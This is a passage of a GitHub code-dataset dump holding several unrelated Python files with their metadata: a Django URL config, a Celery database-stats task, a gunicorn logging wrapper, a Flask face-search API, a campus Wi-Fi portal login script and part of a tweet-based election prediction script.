__iter__(self, cursor):\n self.cursor = cursor\n self.cursor.execute(f'select * from {self.table_name}')\n self.columns = [x[0] for x in cursor.description]\n return self\n\n @connect_to_database\n def __next__(self, *args):\n row = self.cursor.fetchone()\n if row is None:\n raise StopIteration\n return dict(zip(self.columns, row))\n\n @connect_to_database\n def __contains__(self, cursor, item):\n cursor.execute(\n f'select * from {self.table_name} where name =:name',\n {'name': item}\n )\n return cursor.fetchone()\n", "repo_name": "DDarean/hw2021", "sub_path": "homework8/task2.py", "file_name": "task2.py", "file_ext": "py", "file_size_in_byte": 1424, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sqlite3.connect", "line_number": 6, "usage_type": "call"}]} {"seq_id": "38658470935", "text": "from django.urls import path\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom .views import *\n\nurlpatterns =[\n path('diary', DiaryList.as_view()),\n path('diary/', DiaryDetail.as_view()),\n path('note/create', NoteCreateView.as_view()),\n path('diary/create', DiaryCreateView.as_view()),\n path('note/diary-list', ListDiaryNote.as_view()),\n path('note', NoteListAPI.as_view()),\n path('note/all', AllNoteList.as_view()),\n #url delete나 ..\n]\n\n# urlpatterns = format_suffix_patterns(urlpatterns)\n\n\n", "repo_name": "osamhack2022/WEB_SharedDiary_Nuri", "sub_path": "Project/backend/diaryapp/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 542, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}]} {"seq_id": "870757739", "text": "import datetime\nimport logging\nfrom bson import ObjectId\nfrom mongoengine import get_db\nfrom DataBaseStuff.ConnectDisconnect import connect_to_database\nfrom CeleryApps.KattiApp import katti_app\nfrom DataBaseStuff.MongoengineDocuments.PeriodicTasks.DatabaseStatDocument import DatabaseStatDocument, \\\n CollectionStatDocument\nfrom PerodicSystemTasks.DatabaseStatsCalculation.DatabaseStatsCalculation import DatabaseStatsCalculation\nfrom DataBaseStuff.MongoengineDocuments.StatisticDocuments.DatabaseStatsTaskStatistics import DatabaseStatsTaskStats\n\n\n@katti_app.task(bind=True)\ndef db_stats(self, document_id):\n connect_to_database()\n logger = logging.getLogger('DB-Stats-Calculater')\n task_stats = DatabaseStatsTaskStats.get_task_with_times(task_id=self.request.id, initiator=None)\n try:\n db_stats_document: DatabaseStatsCalculation = DatabaseStatsCalculation.objects.get(id=ObjectId(document_id))\n logger.debug('Start stat production.')\n today = datetime.datetime.today()\n db = get_db('Katti')\n stst = db.command('dbStats', scale=db_stats_document.scale)\n new_db = DatabaseStatDocument(name='Katti', day=today)\n new_db.collections = stst['collections']\n new_db.avgObjSize = stst['avgObjSize']\n new_db.dataSize = stst['dataSize']\n new_db.storageSize = stst['storageSize']\n new_db.indexes = stst['indexes']\n new_db.indexSize = stst['indexSize']\n new_db.save()\n for collection in db.list_collection_names():\n if collection in db_stats_document.skip_collections:\n continue\n collection_stats = db.command(\"collstats\", collection)\n new_col = CollectionStatDocument(database_name='Katti', name=collection, day=today)\n new_col.size = collection_stats['size']\n new_col.count = collection_stats.get('count', -1)\n new_col.avgObjSize = collection_stats.get('avgObjSize', 0)\n new_col.storageSize = collection_stats['storageSize']\n new_col.nindexes = collection_stats['nindexes']\n new_col.totalIndexSize = collection_stats['totalIndexSize']\n new_col.save()\n logger.debug('Done.')\n except Exception:\n task_stats.error = True\n raise\n finally:\n task_stats.stop_and_save()\n", "repo_name": "Flojo-der-erste/katti", "sub_path": "source_code/CeleryApps/PeriodicSystemTasks.py", "file_name": "PeriodicSystemTasks.py", "file_ext": "py", "file_size_in_byte": 2327, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "DataBaseStuff.ConnectDisconnect.connect_to_database", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "DataBaseStuff.MongoengineDocuments.StatisticDocuments.DatabaseStatsTaskStatistics.DatabaseStatsTaskStats.get_task_with_times", "line_number": 17, "usage_type": "call"}, {"api_name": "DataBaseStuff.MongoengineDocuments.StatisticDocuments.DatabaseStatsTaskStatistics.DatabaseStatsTaskStats", "line_number": 17, "usage_type": "name"}, {"api_name": "PerodicSystemTasks.DatabaseStatsCalculation.DatabaseStatsCalculation.DatabaseStatsCalculation", "line_number": 19, "usage_type": "name"}, {"api_name": "PerodicSystemTasks.DatabaseStatsCalculation.DatabaseStatsCalculation.DatabaseStatsCalculation.objects.get", "line_number": 19, "usage_type": "call"}, {"api_name": "PerodicSystemTasks.DatabaseStatsCalculation.DatabaseStatsCalculation.DatabaseStatsCalculation.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "bson.ObjectId", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "attribute"}, {"api_name": "mongoengine.get_db", "line_number": 22, "usage_type": "call"}, {"api_name": "DataBaseStuff.MongoengineDocuments.PeriodicTasks.DatabaseStatDocument.DatabaseStatDocument", "line_number": 24, "usage_type": "call"}, {"api_name": "DataBaseStuff.MongoengineDocuments.PeriodicTasks.DatabaseStatDocument.CollectionStatDocument", "line_number": 36, "usage_type": "call"}, {"api_name": "CeleryApps.KattiApp.katti_app.task", "line_number": 13, "usage_type": "call"}, {"api_name": "CeleryApps.KattiApp.katti_app", "line_number": 13, "usage_type": "name"}]} {"seq_id": "43246822765", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nGunicorn wrapper script for properly configuring logging.\n\nThis script sets up logging using ``Cerebrum.logutils`` and logging ipc using\n``Cerebrum.logutils.mp``.\n\n..note::\n gunicorn insists on handling the gunicorn.access and gunicorn.error logs by\n itself to some degree.\n\n Ideally, gunicorn should be configured with:\n\n - ``accesslog = '-'`` (log to stdout, option --access-logfile)\n - ``errorlog = ''`` (log to stderr, option --error-logfile)\n\n And logging configured so that:\n\n - gunicorn.access has no handlers and *doesn't* propagate\n - gunicorn.error has no handlers and *does* propagate\n\n.. warning::\n No matter how gunicorn.access is configured - nothing will be logged to\n this logger unless the gunicorn config enables the access log (e.g. by\n setting ``accesslog``)\n\"\"\"\nfrom __future__ import absolute_import, unicode_literals, print_function\n\nimport logging\nfrom collections import Mapping\nfrom multiprocessing import JoinableQueue as Queue\n\nfrom gunicorn.app.wsgiapp import WSGIApplication\n\nimport Cerebrum.logutils\nfrom Cerebrum.logutils import mp\n\n\ndef store_logger_params(logger, *attrs):\n \"\"\" Store supported settings \"\"\"\n params = {}\n for attr in set(attrs):\n if attr == 'level':\n params['level'] = logger.level\n elif attr == 'propagate':\n params['propagate'] = logger.propagate\n elif attr == 'handlers':\n params['handlers'] = logger.handlers[:]\n else:\n raise ValueError('Unsupported attr %r' % (attr,))\n return params\n\n\ndef apply_logger_params(logger, params):\n if 'level' in params:\n logger.setLevel(params.pop('level'))\n if 'propagate' in params:\n logger.propagate = params.pop('propagate')\n for handler in params.pop('handlers', ()):\n logger.addHandler(handler)\n if params:\n raise ValueError('Unknown logger params %r', tuple(sorted(params)))\n\n\nclass LogManager(object):\n \"\"\" Namespace for configuring logging internals. \"\"\"\n\n poll_timeout = 0.5\n join_timeout = 1.5\n monitor_interval = 60\n\n def __init__(self):\n serializer = mp.protocol.JsonSerializer()\n protocol = mp.protocol.LogRecordProtocol(serializer)\n self.log_queue = Queue()\n self.log_channel = mp.channel.QueueChannel(self.log_queue, protocol)\n\n self.thread_log = mp.threads.LogRecordThread(\n self.log_channel,\n timeout=self.poll_timeout)\n\n self.thread_mon = mp.threads.QueueMonitorThread(\n self.log_queue,\n interval=self.monitor_interval)\n\n # Store the initial settings for propagate, level\n self.init_access = store_logger_params(\n logging.getLogger('gunicorn.access'), 'propagate', 'level')\n self.init_error = store_logger_params(\n logging.getLogger('gunicorn.error'), 'propagate', 'level')\n\n def reset_gunicorn_loggers(self):\n \"\"\" Restore initial logger settings in worker processes \"\"\"\n apply_logger_params(logging.getLogger('gunicorn.access'),\n self.init_access)\n apply_logger_params(logging.getLogger('gunicorn.error'),\n self.init_error)\n\n def start_threads(self):\n \"\"\" Start logger threads. \"\"\"\n if not self.thread_log.is_alive():\n self.thread_log.start()\n if not self.thread_mon.is_alive():\n self.thread_mon.start()\n\n def stop_threads(self):\n \"\"\" Stop logger threads. \"\"\"\n self.thread_mon.stop()\n self.thread_log.stop()\n if self.thread_mon.is_alive():\n self.thread_mon.join(self.join_timeout)\n if self.thread_log.is_alive():\n self.thread_log.join(self.join_timeout)\n\n\nclass Event(object):\n\n def __init__(self, name):\n self.name = name\n self.callbacks = []\n\n def __call__(self, *args):\n for callback in self.callbacks:\n callback(*args)\n\n\nclass WrapperHooks(Mapping):\n \"\"\" Inventory of event hooks for gunicorn (event -> callback). \"\"\"\n\n def __init__(self):\n self._events = dict()\n\n def __getitem__(self, key):\n return self._events[key]\n\n def __iter__(self):\n return iter(self._events)\n\n def __len__(self):\n return len(self._events)\n\n def __call__(self, event):\n def wrapper(fn):\n if event in self._events:\n raise KeyError(\n \"Hook for event={0!r} already registered\".format(event))\n self._events[event] = fn\n return fn\n return wrapper\n\n def wrap_hooks(self, config, params):\n \"\"\"\n Apply hooks to gunicorn config.\n\n :param config: gunicorn config object.\n \"\"\"\n for event, wrapper in self.items():\n hook = wrapper(getattr(config, event), params)\n config.set(event, hook)\n\n\ndef configure_worker_logging(channel):\n # preserve access logger state\n access_log = store_logger_params(logging.getLogger('gunicorn.access'),\n 'propagate', 'level', 'handlers')\n\n mp.utils.reset_logging()\n root = logging.getLogger()\n root.addHandler(mp.handlers.ChannelHandler(channel))\n\n # restore access logger state\n apply_logger_params(logging.getLogger('gunicorn.access'), access_log)\n\n\nsync_hooks = WrapperHooks()\n\n\n@sync_hooks('on_starting')\ndef on_starting_wrapper(real_hook, mgr):\n \"\"\" Called just before the master process is initialized. \"\"\"\n def hook(server):\n mgr.start_threads()\n real_hook(server)\n return hook\n\n\n@sync_hooks('on_exit')\ndef on_exit_wrapper(real_hook, mgr):\n \"\"\" Called just before exiting Gunicorn. \"\"\"\n def hook(server):\n mgr.stop_threads()\n real_hook(server)\n return hook\n\n\n@sync_hooks('post_fork')\ndef post_fork_wrapper(real_hook, mgr):\n \"\"\" Called just after a worker has been forked. \"\"\"\n def hook(server, worker):\n configure_worker_logging(mgr.log_channel)\n real_hook(server, worker)\n return hook\n\n\n@sync_hooks('when_ready')\ndef when_ready_wrapper(real_hook, mgr):\n \"\"\" Called just after the server is started. \"\"\"\n def hook(server):\n mgr.reset_gunicorn_loggers()\n real_hook(server)\n return hook\n\n\nworker_class_hooks = {\n 'SyncWorker': sync_hooks,\n}\n\n\nclass LoggingApplication(WSGIApplication):\n \"\"\" Inject logger hooks into the gunicorn WSGIApplication. \"\"\"\n\n def __init__(self, *args, **kwargs):\n self.log_manager = kwargs.pop('log_manager')\n super(LoggingApplication, self).__init__(*args, **kwargs)\n\n def load_config(self):\n super(LoggingApplication, self).load_config()\n hooks = worker_class_hooks.get(self.cfg.worker_class.__name__)\n if hasattr(hooks, 'wrap_hooks'):\n getattr(hooks, 'wrap_hooks')(self.cfg, self.log_manager)\n\n\ndef main():\n \"\"\"Start Gunicorn with Cerebrum-logging and a generic WSGI application.\"\"\"\n try:\n Cerebrum.logutils.autoconf('gunicorn', None)\n mgr = LogManager()\n app = LoggingApplication(\"%(prog)s [OPTIONS] [APP_MODULE]\",\n log_manager=mgr)\n app.run()\n except SystemExit:\n # If the app fails to start up, we may never get an on_exit signal, so\n # we'll have to make sure to stop the threads here.\n mgr.stop_threads()\n raise\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "unioslo/cerebrum", "sub_path": "servers/gunicorn-server.py", "file_name": "gunicorn-server.py", "file_ext": "py", "file_size_in_byte": 7460, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "78", "api": [{"api_name": "Cerebrum.logutils.mp.protocol.JsonSerializer", "line_number": 74, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.mp.protocol", "line_number": 74, "usage_type": "attribute"}, {"api_name": "Cerebrum.logutils.mp", "line_number": 74, "usage_type": "name"}, {"api_name": "Cerebrum.logutils.mp.protocol.LogRecordProtocol", "line_number": 75, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.mp.protocol", "line_number": 75, "usage_type": "attribute"}, {"api_name": "Cerebrum.logutils.mp", "line_number": 75, "usage_type": "name"}, {"api_name": "multiprocessing.JoinableQueue", "line_number": 76, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.mp.channel.QueueChannel", "line_number": 77, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.mp.channel", "line_number": 77, "usage_type": "attribute"}, {"api_name": "Cerebrum.logutils.mp", "line_number": 77, "usage_type": "name"}, {"api_name": "Cerebrum.logutils.mp.threads.LogRecordThread", "line_number": 79, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.mp.threads", "line_number": 79, "usage_type": "attribute"}, {"api_name": "Cerebrum.logutils.mp", "line_number": 79, "usage_type": "name"}, {"api_name": "Cerebrum.logutils.mp.threads.QueueMonitorThread", "line_number": 83, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.mp.threads", "line_number": 83, "usage_type": "attribute"}, {"api_name": "Cerebrum.logutils.mp", "line_number": 83, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 89, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 91, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 95, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 97, "usage_type": "call"}, {"api_name": "collections.Mapping", "line_number": 128, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 165, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.mp.utils.reset_logging", "line_number": 168, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.mp.utils", "line_number": 168, "usage_type": "attribute"}, {"api_name": "Cerebrum.logutils.mp", "line_number": 168, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 169, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.mp.handlers.ChannelHandler", "line_number": 170, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.mp.handlers", "line_number": 170, "usage_type": "attribute"}, {"api_name": "Cerebrum.logutils.mp", "line_number": 170, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 173, "usage_type": "call"}, {"api_name": "gunicorn.app.wsgiapp.WSGIApplication", "line_number": 220, "usage_type": "name"}, {"api_name": "Cerebrum.logutils.logutils.autoconf", "line_number": 237, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.logutils", "line_number": 237, "usage_type": "attribute"}, {"api_name": "Cerebrum.logutils", "line_number": 237, "usage_type": "name"}]} {"seq_id": "11156919553", "text": "from flask import Flask, render_template, request, jsonify\r\nimport cv2\r\nimport numpy as np\r\nimport hashlib\r\nimport base64\r\nimport pickle\r\nimport ast\r\nimport io\r\nimport requests\r\nimport json\r\nimport time\r\nimport json\r\nfrom PIL import Image\r\n\r\nfrom face_search import FaceSearch\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/home')\r\ndef index():\r\n\treturn render_template('index.html')\r\n\r\n@app.route('/', methods=['GET'])\r\ndef home():\r\n return jsonify({'Message': 'API Working!!'})\r\n\r\n@app.route('/face_search',methods=['POST'])\r\ndef face_search():\r\n ip= request.remote_addr\r\n img1 = request.files['img1']\r\n t = time.time()\r\n result = srch.searchFace(img1,ip)\r\n print(time.time() - t)\r\n return result\r\n\r\n@app.route('/report')\r\ndef rep():\r\n with open ('result_file', 'rb') as fp:\r\n itemlist = pickle.load(fp)\r\n fp.close()\r\n return(jsonify(ast.literal_eval(itemlist)))\r\n\r\n@app.route('/data',methods=['GET'])\r\ndef dat():\r\n with open ('result_file', 'rb') as fp:\r\n itemlist = pickle.load(fp)\r\n fp.close()\r\n # print(itemlist)\r\n # js=jsonify(itemlist)\r\n # js=js.json()\r\n js = json.loads(itemlist)\r\n name=js['result'][0][\"person\"]\r\n Cid=js['result'][0][\"C-ID\"]\r\n date=js['date-time']\r\n ip=js['ip']\r\n return render_template('index.html',name=name,date=date,ip=ip,Cid=Cid)\r\n\r\n@app.route('/history')\r\ndef history():\r\n itemlis=''\r\n with open ('history.txt', 'r') as fp:\r\n for f in fp:\r\n itemlis=itemlis+f+'\\n'\r\n fp.close()\r\n return(itemlis)\r\n\r\nif __name__=='__main__':\r\n srch = FaceSearch()\r\n app.run(debug=True)\r\n", "repo_name": "SudhanshuMishra8826/Suspect-Identification-using-Face-Recognition", "sub_path": "Gods_eye.py", "file_name": "Gods_eye.py", "file_ext": "py", "file_size_in_byte": 1608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.request.remote_addr", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "time.time", "line_number": 31, "usage_type": "call"}, {"api_name": "time.time", "line_number": 33, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 41, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 41, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 46, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 56, "usage_type": "call"}, {"api_name": "face_search.FaceSearch", "line_number": 68, "usage_type": "call"}]} {"seq_id": "70370664251", "text": "#!/usr/bin/python\n# -*- coding:utf-8 -*-\n#请求testurl时返回的结果：\n#post_url:http://192.168.50.3:8080/eportal/index.jsp\n#host_url:http://192.168.50.3:8080/\n#query_args:wlanuserip=10.10.65.161&wlanacname=Ac_001aa97cd237&ssid=HUST_WIRELESS&nasip=192.168.8.2&mac=8ca98296eb3c&t=wireless-v2-plain&url=http://www.baidu.com/\n#form_data:username=''&pwd=''&validcode=no_check&phone=&authorizationCode=®ist_validcode=&phonenum=®ist_validcode_sm=\n#发起登陆请求后获得的参数:&mac=1b703f4248eeb581fb7481db4605ea07&wlanuserip=e6d6380107b5536d9c202a5f773fa925&nasip=8df3b80e79b397a516656c1e9cf9cb08&t=wireless-v2-plain&username=yy232381&url=http://www.baidu.com/\n#下线时请求的url:host_url+logout_url+&mac=1b703f4248eeb581fb7481db4605ea07&wlanuserip=e6d6380107b5536d9c202a5f773fa925&nasip=8df3b80e79b397a516656c1e9cf9cb08\nimport re\nimport os \nimport sys\nimport base64\nimport getpass\nimport urllib2\n\nusr_id,psw,save_psw = '','',False\nsession_file = '.HUST_WIRELESS.session'\nusr_file = '.HUST_WIRELESS.usr'\ntest_url = 'http://www.baidu.com/'\nlogin_url = '/eportal/userV2.do?method=login'\nlogin_args = '¶m=true&fromHtml=true&userAgentForLogin=0&'\nlogout_url = '/eportal/userV2.do?method=logout'\n\n#handle sys\nif os.path.exists(usr_file):\n\t#read usr_info if had\n\tusr_id,psw = base64.decodestring(open(usr_file).read()).split(',')\n\tif psw != '':\n\t\tsave_psw = True\n\nif len(sys.argv)>1:\n\tif sys.argv[1]=='help' or sys.argv[1]=='-h' or sys.argv[1]=='--help':\n\t\t#help message\n\t\tprint('Args:\\t-s\\tSave password (username is automatically saved)\\n\\t-c\\tClean saved username and password\\nNotes:\\tSaved pswd is only softly protected, be cautious!\\n\\tCLI input overrides saved account.')\n\t\tos._exit(0)\t\n\tif len(sys.argv) == 2 and sys.argv[1].startswith('-'):\n\t\tif 's' in sys.argv[1]: #save\n\t\t\tsave_psw = True\n\t\tif 'c' in sys.argv[1]:\t#clear\n\t\t\tif os.path.exists(usr_file):\n\t\t\t\tos.remove(usr_file)\n\t\t\t\tprint('Account Info clear!')\n\t\t\telse:\n\t\t\t\tprint('No Account Info')\n\tif len(sys.argv)>2 and sys.argv[1].startswith('-'):#judge if -u or -p\n\t\tif 'u' in sys.argv[1]:\n\t\t\tif usr_id != sys.argv[2]: #new usr\n\t\t\t\tpsw = ''\t#clear psw\n\t\t\t\tusr_id = sys.argv[2]\n\t\t\tif len(sys.argv)>4:\n\t\t\t\tif 'p' in sys.argv[3]:\n\t\t\t\t\tpsw = sys.argv[4]\n\t\t\t\telse:\n\t\t\t\t\tpsw = ''\n\t\tif 'p' in sys.argv[1]:\n\t\t\tif sys.argv[2]:\n\t\t\t\tpsw = sys.argv[2]\n\t\t\telse:\n\t\t\t\tpsw = ''\n#test url\ntt = urllib2.urlopen(test_url).read();\nurls = re.findall('self.location.href=\\'([^\\']+)\\'',tt)#get jump url\n#logout\nif not urls:#has connected to Internet\n\t#read session file\n\tif not os.path.exists(session_file):\n\t\tprint('You\\'ve connected to Internet, but it seems you are not using HUST-WIRELESS ?')\n\telse:\n\t\thost_url,args = open(session_file,'r').read().split(',')\n\t\tres = urllib2.urlopen('%s%s%s'%(host_url,logout_url,args)).read()\n\t\tif re.search('window.location.replace\\(\"\\./userV2\\.do\\?method=goToLogout\"',res):\n\t\t\tprint('Logout success!ByeBye')\n\t\t\tif os.path.exists(session_file):\n\t\t\t\tos.remove(session_file)\n\t\telse:\n\t\t\tprint('Logout failed')\nelse:\n\turl = urls[0]\n\tpost_url,query_args = url.split('?') #get host and args\n\thost_url = post_url.replace('/eportal/index.jsp','')#host_ip\n\tusr_id = usr_id or raw_input('username:')\n\tpsw = psw or getpass.getpass('password for %s:'%usr_id)\n\t\n\t#build formdata\n\tformdata = 'username=%s&pwd=%s&validcode=no_check&phone=&authorizationCode=®ist_validcode=&phonenum=®ist_validcode_sm='%(usr_id,psw)\n\n\t#post\n\t#print '%s%s%s%s'%(host_url,login_url,login_args,query_args)\n\treq = urllib2.Request('%s%s%s%s'%(host_url,login_url,login_args,query_args))\n\tres = urllib2.urlopen(req,formdata).read() #response text\n\taddrargs = re.findall('window.location.replace\\(\"\\.\\/userV2\\.do\\?method=goToAuthResult(&mac=.+&wlanuserip=.+&nasip=.+)',res)# check if login success and get login info\n\tif addrargs:\n\t\tprint('Login succeed!')\n\t\t#save psw usr in usr_file\n\t\topen(usr_file,'w').write(base64.encodestring(','.join([usr_id,save_psw and psw or ''])))\n\t\topen(session_file,'w').write(','.join([host_url,addrargs[0]]))\n\telse:\n\t\terrmsg = re.findall('errorMessage.innerHTML = \\'(.+)',res)\n\t\tprint('Login failed: %s'%errmsg[0])\n\nif len(sys.argv) == 1:\n\traw_input('Press Enter to exit...')\n\n\n\n\n\t\t\n\n", "repo_name": "Fanghehe/python", "sub_path": "HUST-WIRELESS_urllib2.py", "file_name": "HUST-WIRELESS_urllib2.py", "file_ext": "py", "file_size_in_byte": 4427, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.exists", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "base64.decodestring", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 32, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os._exit", "line_number": 36, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 37, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 38, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 42, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 46, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 47, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 50, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 51, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 52, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 53, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 56, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 57, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 58, "usage_type": "attribute"}, {"api_name": "urllib2.urlopen", "line_number": 62, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "urllib2.urlopen", "line_number": 71, "usage_type": "call"}, {"api_name": "re.search", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 75, "usage_type": "call"}, {"api_name": "getpass.getpass", "line_number": 83, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 90, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 91, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 92, "usage_type": "call"}, {"api_name": "base64.encodestring", "line_number": 96, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 99, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 102, "usage_type": "attribute"}]} {"seq_id": "18803395193", "text": "#coding: utf8\n\n# **************************************************************************** #\n# #\n# ::: :::::::: #\n# prediction_from_db.py :+: :+: :+: #\n# +:+ +:+ +:+ #\n# By: Zhenkun +#+ +:+ +#+ #\n# +#+#+#+#+#+ +#+ #\n# Created: 2020/02/19 04:01:00 by Kay Zhou #+# #+# #\n# Updated: 2020/12/25 15:12:58 by Zhenkun ### ########.fr #\n# #\n# **************************************************************************** #\n\nfrom SQLite_handler import *\nfrom tqdm import tqdm\nimport os\n\n# 0 > JB; 1 > DT\nUS_states = ['NY', 'DC', 'IN', 'AR', 'WY', 'ME', 'TX', 'NH', 'CO', 'CA', 'IL',\n 'WA', 'VA', 'FL', 'MA', 'OR', 'AZ', 'MT', 'MN', 'NE', 'TN', 'OH',\n 'NJ', 'NV', 'KY', 'UT', 'NC', 'SC', 'PA', 'NM', 'KS', 'GA', 'MI',\n 'WI', 'AK', 'MS', 'MD', 'LA', 'HI', 'MO', 'AL', 'CT', 'OK', 'IA',\n 'WV', 'RI', 'SD', 'VT', 'ND', 'ID', 'DE']\n# USERS = pd.read_csv(\"disk/users-face/2020-04-02.csv\").set_index(\"uid\")\n# USERS_STATE = pd.read_csv(\"disk/users-location/2020-04-02.csv\",\n# usecols=[\"uid\",\"state\"],\n# error_bad_lines=False).set_index(\"uid\")\n# USERS_STSTE_GENDER_AGE = USERS.join(USERS_STATE, how=\"inner\")\n# SET_USERS = set(USERS_STSTE_GENDER_AGE.index)\n# SET_USERS = set(USERS_STATE.index)\n\n\ndef save_bots(out_name):\n set_users = set()\n with open(out_name, \"w\") as f:\n months = [\"10\", \"09\", \"08\", \"07\", \"06\"]\n for m in months:\n print(m)\n for line in open(f\"data/2020{m}-tweets-prediction.txt\"):\n d = line.strip().split(\",\")\n if d[3] != \"None\" and d[1] not in set_users:\n f.write(d[1] + \"\\n\")\n set_users.add(d[1])\n \n\ndef load_bots(in_name):\n all_bots = set()\n for line in open(in_name):\n all_bots.add(line.strip())\n print(\"# of bots:\", len(all_bots))\n return all_bots\n# ALL_BOTS = load_bots(\"data/users-profile/20201010bots.txt\")\n \n\ndef save_user_snapshot_json(in_names, model_version=\"v1\", p=0.5):\n # global ALL_BOTS\n set_bots = set()\n for in_name in in_names:\n print(\"save_user_snapshot_json\", in_name)\n dict_date_users = {}\n for line in tqdm(open(in_name, encoding=\"utf8\"), ascii=True):\n d = line.strip().split(\",\")\n # 先不查重tweet_id\n uid = d[0]\n # if uid in ALL_BOTS or d[3] != \"None\":\n # continue\n date = d[1]\n source = d[2]\n if source != \"None\" or uid in set_bots:\n set_bots.add(uid)\n continue\n proba = float(d[3])\n query = d[4].lower()\n # if not (\"trump\" in query or \"biden\" in query or \"~\" in query):\n # continue\n # or include all queries\n\n if date not in dict_date_users:\n dict_date_users[date] = {}\n if uid not in dict_date_users[date]:\n dict_date_users[date][uid] = [0, 0]\n\n # 0 for Biden, 1 for Trump\n if proba < (1 - p):\n dict_date_users[date][uid][0] += 1\n elif proba >= p:\n dict_date_users[date][uid][1] += 1\n # else:\n # dict_date_users[date][uid][2] += 1\n\n for date, dict_uid in dict_date_users.items():\n print(\"save\", date)\n f_name = f\"data/users-day-{model_version}-{p}/{date}.json\"\n if os.path.exists(f_name):\n print(f_name, \"已经存在。\")\n else:\n json.dump(dict_uid, open(f_name, \"w\"))\n\n\ndef save_user_snapshot(sess, now):\n users = {}\n # for t in get_tweets(sess, now, now.add(days=1)):\n for t in get_tweets_proba(sess, now, now.add(days=1)):\n uid = 